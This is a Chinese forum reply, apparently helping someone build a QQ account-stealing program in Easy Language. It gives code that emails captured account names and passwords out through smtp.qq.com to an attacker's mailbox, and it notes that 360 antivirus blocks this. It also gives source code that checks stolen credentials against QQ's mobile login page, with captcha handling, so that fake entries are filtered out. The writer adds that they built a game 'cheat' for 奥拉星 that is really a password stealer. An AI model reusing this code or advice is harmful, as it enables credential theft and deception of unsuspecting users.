嗯嗯,改的设置对着呢。
但是你貌似没有填端口号,TX的应该是25,因为我填的是25……能发出去
可以这么写:
连接发信服务器 (“smtp.qq.com”, 25, 用户名, 密码)
发送邮件 (“号来了!”, “账号:” + 编辑框2.内容 + #换行符 + “密码:” + 编辑框2.内容, “*@qq.com”, , ,“*@qq.com”,)
但是,发送的时候360会拦截下来。这个你得注意下,其实你家机子要是固定IP的话,可以做个服务器。还有就是你这个验证根本不行,我账号填个1,密码填个1,那岂不就完事了,还能登上去,你又来一个垃圾。可以加个验证。
'------------------------验证源码
.版本 2
登录网页 = 网页源码编码转换 (温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))
' 温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))
产生sid = 取文本之间内容 (登录网页, “sid=”, “&”)
登录返回文本 = 进行POST (寻找POST参数 (登录网页, “马上登录”), _启动窗口.编辑框1.内容, _启动窗口.编辑框2.内容)
.判断开始 (寻找文本 (登录返回文本, “登录密码错误”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录失败,可能系统繁忙,请稍后重试”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您填写的帐号或密码不正确,请重新输入”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您输入的帐号不存在”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 登录返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “请输入验证码”, , 假) > 0)
验证码图片地址 = 取文本之间内容 (登录返回文本, “<img src=” + #引号, #引号)
延时 (1000)
验证码反馈.调用反馈事件 (, , )
.如果 (全局验证码内容 = “”)
_启动窗口.可视 = 真
.否则
输入验证码返回文本 = 进行POST (寻找POST参数 (登录返回文本, “马上登录”), , , 全局验证码内容)
.判断开始 (寻找文本 (输入验证码返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 输入验证码返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.默认
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
' -----------------接下来不是源码了
这里还要用到一个温暖HTTP应用模块,我给你传上来吧。
我自己写了个不带验证的奥拉星“外挂”,你可以看看,嘻嘻……(其实还是盗号的,只是不发送过来)